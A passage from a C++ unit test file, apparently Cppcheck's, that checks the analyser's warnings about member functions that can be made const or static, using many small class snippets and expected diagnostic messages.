isValid() {\\n\"\n \" return (x == 0x11224488);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'Fred::isValid' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const38() { // ticket #2135\n checkConst(\"class Foo {\\n\"\n \"public:\\n\"\n \" ~Foo() { delete oArq; }\\n\"\n \" Foo(): oArq(new std::ofstream(\\\"...\\\")) {}\\n\"\n \" void MyMethod();\\n\"\n \"private:\\n\"\n \" std::ofstream *oArq;\\n\"\n \"};\\n\"\n \"void Foo::MyMethod()\\n\"\n \"{\\n\"\n \" (*oArq) << \\\"\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const39() {\n checkConst(\"class Foo\\n\"\n \"{\\n\"\n \" int * p;\\n\"\n \"public:\\n\"\n \" Foo () : p(0) { }\\n\"\n \" int * f();\\n\"\n \" const int * f() const;\\n\"\n \"};\\n\"\n \"const int * Foo::f() const\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\\n\"\n \"int * Foo::f()\\n\"\n \"{\\n\"\n \" return p;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const40() { // ticket #2228\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" std::tr1::shared_ptr pView;\\n\"\n \" public:\\n\"\n \" SharedPtrHolder()\\n\"\n \" { }\\n\"\n \" void SetView(const std::shared_ptr & aView)\\n\"\n \" {\\n\"\n \" pView = aView;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const41() { // ticket #2255\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \" ::std::string m_name;\\n\"\n \"public:\\n\"\n \" void SetName(const ::std::string & name)\\n\"\n \" {\\n\"\n \" m_name = name;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder\\n\"\n \"{\\n\"\n \" ::std::tr1::shared_ptr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const ::std::tr1::shared_ptr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class SharedPtrHolder2\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" typedef ::std::tr1::shared_ptr IntSharedPtr;\\n\"\n \" private:\\n\"\n \" IntSharedPtr pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntSharedPtr & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct IntPtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder3\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" IntPtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const IntPtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"template \\n\"\n \"struct PtrTypes\\n\"\n \"{\\n\"\n \" typedef ::std::tr1::shared_ptr Shared;\\n\"\n \"};\\n\"\n \"class SharedPtrHolder4\\n\"\n \"{\\n\"\n \" private:\\n\"\n \" PtrTypes::Shared pNum;\\n\"\n \" public :\\n\"\n \" void SetNum(const PtrTypes::Shared & apNum)\\n\"\n \" {\\n\"\n \" pNum = apNum;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const42() { // ticket #2282\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB { };\\n\"\n \" bool f(AB * ab);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB * ab)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:5:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \"};\\n\"\n \"bool Fred::f(Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \" bool Fred::f(Fred::AB::CD * cd)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:10:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"namespace NS {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"}\\n\"\n \"bool NS::Fred::f(NS::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:16]: (performance, inconclusive) Technically the member function 'NS::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Foo {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" struct AB {\\n\"\n \" struct CD { };\\n\"\n \" };\\n\"\n \" bool f(AB::CD * cd);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool Foo::Fred::f(Foo::Fred::AB::CD * cd)\\n\"\n \"{\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:14] -> [test.cpp:11:17]: (performance, inconclusive) Technically the member function 'Foo::Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const43() { // ticket 2377\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo( AA::BB::CC::DD b );\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \"};\\n\"\n \"void A::foo( AA::BB::CC::DD b )\\n\"\n \"{\\n\"\n \" a = b;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace AA\\n\"\n \"{\\n\"\n \" namespace BB\\n\"\n \" {\\n\"\n \" namespace CC\\n\"\n \" {\\n\"\n \" struct DD\\n\"\n \" {};\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \"\\n\"\n \" AA::BB::CC::DD a;\\n\"\n \" void foo(AA::BB::CC::DD b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"namespace ZZ\\n\"\n \"{\\n\"\n \" namespace YY\\n\"\n \" {\\n\"\n \" struct XX\\n\"\n \" {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ZZ::YY::XX a;\\n\"\n \" void foo(ZZ::YY::XX b)\\n\"\n \" {\\n\"\n \" a = b;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const44() { // ticket 2595\n checkConst(\"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" bool bOn;\\n\"\n \" bool foo()\\n\"\n \" {\\n\"\n \" return 0 != (bOn = bOn);\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const45() { // ticket 2664\n checkConst(\"namespace wraps {\\n\"\n \" class BaseLayout {};\\n\"\n \"}\\n\"\n \"namespace tools {\\n\"\n \" class WorkspaceControl :\\n\"\n \" public wraps::BaseLayout\\n\"\n \" {\\n\"\n \" int toGrid(int _value)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:8:13]: (performance, inconclusive) Technically the member function 'tools::WorkspaceControl::toGrid' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const46() { // ticket 2663\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" int fun1() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \" int fun2() {\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance, inconclusive) Technically the member function 'Altren::fun1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:9]: (performance, inconclusive) Technically the member function 'Altren::fun2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const47() { // ticket 2670\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Altren {\\n\"\n \"public:\\n\"\n \" void foo() { delete this; }\\n\"\n \" void foo(int i) const { }\\n\"\n \" void bar() { foo(1); }\\n\"\n \"};\");\n\n ASSERT_EQUALS(\"[test.cpp:4:8]: (performance, inconclusive) Technically the member function 'Altren::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:8]: (style, inconclusive) Technically the member function 'Altren::bar' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const48() { // ticket 2672\n checkConst(\"class S0 {\\n\"\n \" class S1 {\\n\"\n \" class S2 {\\n\"\n \" class S3 {\\n\"\n \" class S4 { };\\n\"\n \" };\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class TextIterator {\\n\"\n \" S0::S1::S2::S3::S4 mCurrent, mSave;\\n\"\n \"public:\\n\"\n \" bool setTagColour();\\n\"\n \"};\\n\"\n \"bool TextIterator::setTagColour() {\\n\"\n \" mSave = mCurrent;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const49() { // ticket 2795\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const50() { // ticket 2943\n checkConst(\"class Altren\\n\"\n \"{\\n\"\n \" class SubClass : public std::vector\\n\"\n \" {\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void _setAlign()\\n\"\n \"{\\n\"\n \" if (mTileSize.height > 0) return;\\n\"\n \" if (mEmptyView) return;\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const51() { // ticket 3040\n checkConst(\"class PSIPTable {\\n\"\n \"public:\\n\"\n \" PSIPTable() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class PESPacket {\\n\"\n \"public:\\n\"\n \" PESPacket() : _pesdata(0) { }\\n\"\n \" const unsigned char* pesdata() const { return _pesdata; }\\n\"\n \" unsigned char* pesdata() { return _pesdata; }\\n\"\n \"private:\\n\"\n \" unsigned char *_pesdata;\\n\"\n \"};\\n\"\n \"class PSIPTable : public PESPacket\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void SetSection(uint num) { pesdata()[6] = num; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const52() { // ticket 3048\n checkConst(\"class foo {\\n\"\n \" void DoSomething(int &a) const { a = 1; }\\n\"\n \" void DoSomethingElse() { DoSomething(bar); }\\n\"\n \"private:\\n\"\n \" int bar;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'foo::DoSomething' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const53() { // ticket 3049\n checkConst(\"class A {\\n\"\n \" public:\\n\"\n \" A() : foo(false) {};\\n\"\n \" virtual bool One(bool b = false) { foo = b; return false; }\\n\"\n \" private:\\n\"\n \" bool foo;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" public:\\n\"\n \" B() {};\\n\"\n \" bool One(bool b = false) { return false; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const54() { // ticket 3052\n checkConst(\"class Example {\\n\"\n \" public:\\n\"\n \" void Clear(void) { Example tmp; (*this) = tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const55() {\n checkConst(\"class MyObject {\\n\"\n \" int tmp;\\n\"\n \" MyObject() : tmp(0) {}\\n\"\n \"public:\\n\"\n \" void set(std::stringstream &in) { in >> tmp; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const56() { // ticket #3149\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" switch (x) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" protected:\\n\"\n \" unsigned short f (unsigned short X);\\n\"\n \" public:\\n\"\n \" A ();\\n\"\n \"};\\n\"\n \"\\n\"\n \"unsigned short A::f (unsigned short X)\\n\"\n \"{\\n\"\n \" enum ERetValues {RET_NOK = 0, RET_OK = 1};\\n\"\n \" enum ETypes {FLOAT_TYPE = 1, INT_TYPE = 2};\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" switch (X)\\n\"\n \" {\\n\"\n \" case FLOAT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" case INT_TYPE:\\n\"\n \" {\\n\"\n \" return RET_OK;\\n\"\n \" }\\n\"\n \" default:\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return RET_NOK;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return RET_NOK;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:24] -> [test.cpp:9:19]: (performance, inconclusive) Technically the member function 'A::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class MyObject {\\n\"\n \"public:\\n\"\n \" void foo(int x) {\\n\"\n \" for (int i = 0; i < 5; i++) { }\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const57() { // tickets #2669 and #2477\n checkConst(\"namespace MyGUI\\n\"\n \"{\\n\"\n \" namespace types\\n\"\n \" {\\n\"\n \" struct TSize {};\\n\"\n \" struct TCoord {\\n\"\n \" TSize size() const { }\\n\"\n \" };\\n\"\n \" }\\n\"\n \" typedef types::TSize IntSize;\\n\"\n \" typedef types::TCoord IntCoord;\\n\"\n \"}\\n\"\n \"class SelectorControl\\n\"\n \"{\\n\"\n \" MyGUI::IntSize getSize()\\n\"\n \" {\\n\"\n \" return mCoordValue.size();\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" MyGUI::IntCoord mCoordValue;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:15]: (style, inconclusive) Technically the member function 'SelectorControl::getSize' can be const.\\n\",\n \"[test.cpp:7:13]: (performance, inconclusive) Technically the member function 'MyGUI::types::TCoord::size' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" int i = 0;\\n\"\n \" void run() { i++; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Bar {\\n\"\n \" void run() const { }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar b;\\n\"\n \" void foo(Foo f) {\\n\"\n \" b.run();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Bar::run' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Foo::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const58() {\n checkConst(\"struct MyObject {\\n\"\n \" void foo(Foo f) {\\n\"\n \" f.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" int foo(Foo f) {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance, inconclusive) Technically the member function 'MyObject::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" Foo f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct MyObject {\\n\"\n \" std::string f;\\n\"\n \" int foo() {\\n\"\n \" return f.length();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'MyObject::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const59() { // ticket #4646\n checkConst(\"class C {\\n\"\n \"public:\\n\"\n \" inline void operator += (const int &x ) { re += x; }\\n\"\n \" friend inline void exp(C & c, const C & x) { }\\n\"\n \"protected:\\n\"\n \" int re;\\n\"\n \" int im;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const60() { // ticket #3322\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs ) {\\n\"\n \" delete m_ptr;\\n\"\n \" m_ptr = new char[42];\\n\"\n \" }\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n checkConst(\"class MyString {\\n\"\n \"public:\\n\"\n \" MyString() : m_ptr(0){}\\n\"\n \" MyString& operator+=( const MyString& rhs );\\n\"\n \" MyString append( const MyString& str )\\n\"\n \" { return operator+=( str ); }\\n\"\n \" char *m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const61() { // ticket #5606 - don't crash\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" int GetAudioFrame();\\n\"\n \"};\\n\"\n \"int MixerParticipant::GetAudioFrame() {\\n\"\n \" return 0;\\n\"\n \"}\");\n\n // this code is invalid so a false negative is OK\n checkConst(\"class MixerParticipant : public MixerParticipant {\\n\"\n \" bool InitializeFileReader() {\\n\"\n \" printf(\\\"music\\\");\\n\"\n \" }\\n\"\n \"};\");\n\n // Based on an example from SVN source code causing an endless recursion within CheckClass::isConstMemberFunc()\n // A more complete example including a template declaration like\n // template class Hash{/* ... */};\n // didn't .\n checkConst(\"template<>\\n\"\n \"class Hash {\\n\"\n \"protected:\\n\"\n \" typedef Key::key_type key_type;\\n\"\n \" void set(const Key& key);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"class Hash : private Hash {\\n\"\n \" typedef Hash inherited;\\n\"\n \" void set(const Key& key) {\\n\"\n \" inherited::set(inherited::Key(key));\\n\"\n \" }\\n\"\n \"};\\n\", dinit(CheckConstOptions, $.inconclusive = false));\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:23]: (performance, inconclusive) Either there is a missing 'override', or the member function 'MixerParticipant::GetAudioFrame' can be static. [functionStatic]\\n\",\n errout_str());\n }\n\n void const62() {\n checkConst(\"class A {\\n\"\n \" private:\\n\"\n \" std::unordered_map _hash;\\n\"\n \" public:\\n\"\n \" A() : _hash() {}\\n\"\n \" unsigned int fetch(unsigned int key)\\n\" // cannot be 'const'\n \" {\\n\"\n \" return _hash[key];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const63() {\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string* p = &s;\\n\"\n \" p->clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" std::string& r = sth; r = s;\\n\"\n \" r.clear();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string* p = &s;\\n\"\n \" p->somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct A {\\n\"\n \" std::string s;\\n\"\n \" void clear() {\\n\"\n \" const std::string& r = s;\\n\"\n \" r.somefunction();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::clear' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const64() {\n checkConst(\"namespace B {\\n\"\n \" namespace D {\\n\"\n \" typedef int DKIPtr;\\n\"\n \" }\\n\"\n \" class ZClass {\\n\"\n \" void set(const ::B::D::DKIPtr& p) {\\n\"\n \" membervariable = p;\\n\"\n \" }\\n\"\n \" ::B::D::DKIPtr membervariable;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const65() {\n checkConst(\"template \\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"template <>\\n\"\n \"class TemplateClass {\\n\"\n \"public:\\n\"\n \" TemplateClass() { }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" TemplateClass a;\\n\"\n \" TemplateClass b;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const66() {\n checkConst(\"struct C {\\n\"\n \" C() : n(0) {}\\n\"\n \" void f(int v) { g((char *) &v); }\\n\"\n \" void g(char *) { n++; }\\n\"\n \" int n;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const67() { // #9193\n checkConst(\"template >\\n\"\n \"class TestList {\\n\"\n \"public:\\n\"\n \" LIST_T m_list;\\n\"\n \"};\\n\"\n \"class Test {\\n\"\n \"public:\\n\"\n \" const std::list>& get() { return m_test.m_list; }\\n\"\n \" TestList> m_test;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:44]: (style, inconclusive) Technically the member function 'Test::get' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const68() { // #6471\n checkConst(\"class MyClass {\\n\"\n \" void clear() {\\n\"\n \" SVecPtr v = (SVecPtr) m_data;\\n\"\n \" v->clear();\\n\"\n \" }\\n\"\n \" void* m_data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const69() { // #9806\n checkConst(\"struct A {\\n\"\n \" int a = 0;\\n\"\n \" template void call(const Args &... args) { a = 1; }\\n\"\n \" template auto call(const Args &... args) -> T {\\n\"\n \" a = 2;\\n\"\n \" return T{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B : public A {\\n\"\n \" void test() {\\n\"\n \" call();\\n\"\n \" call(1, 2, 3);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const70() {\n checkConst(\"struct A {\\n\"\n \" template void call(Args ... args) {\\n\"\n \" func(this);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void test() {\\n\"\n \" call(1, 2);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const71() { // #10146\n checkConst(\"struct Bar {\\n\"\n \" int j = 5;\\n\"\n \" void f(int& i) const { i += j; }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Bar bar;\\n\"\n \" int k{};\\n\"\n \" void g() { bar.f(k); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" A a;\\n\"\n \" void f(int j, int*& p) {\\n\"\n \" p = &(((a[j])));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const72() { // #10520\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(int* p) : mp(p) {}\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" explicit S(const int* p) : mp(p) {}\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S(&i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return S{ &i }; }\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7:7]: (style, inconclusive) Technically the member function 'C::f' can be const. [functionConst]\\n\", \"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int* mp{};\\n\"\n \"};\\n\"\n \"struct C {\\n\"\n \" int i{};\\n\"\n \" S f() { return { &i }; }\\n\"\n \"};\\n\");\n 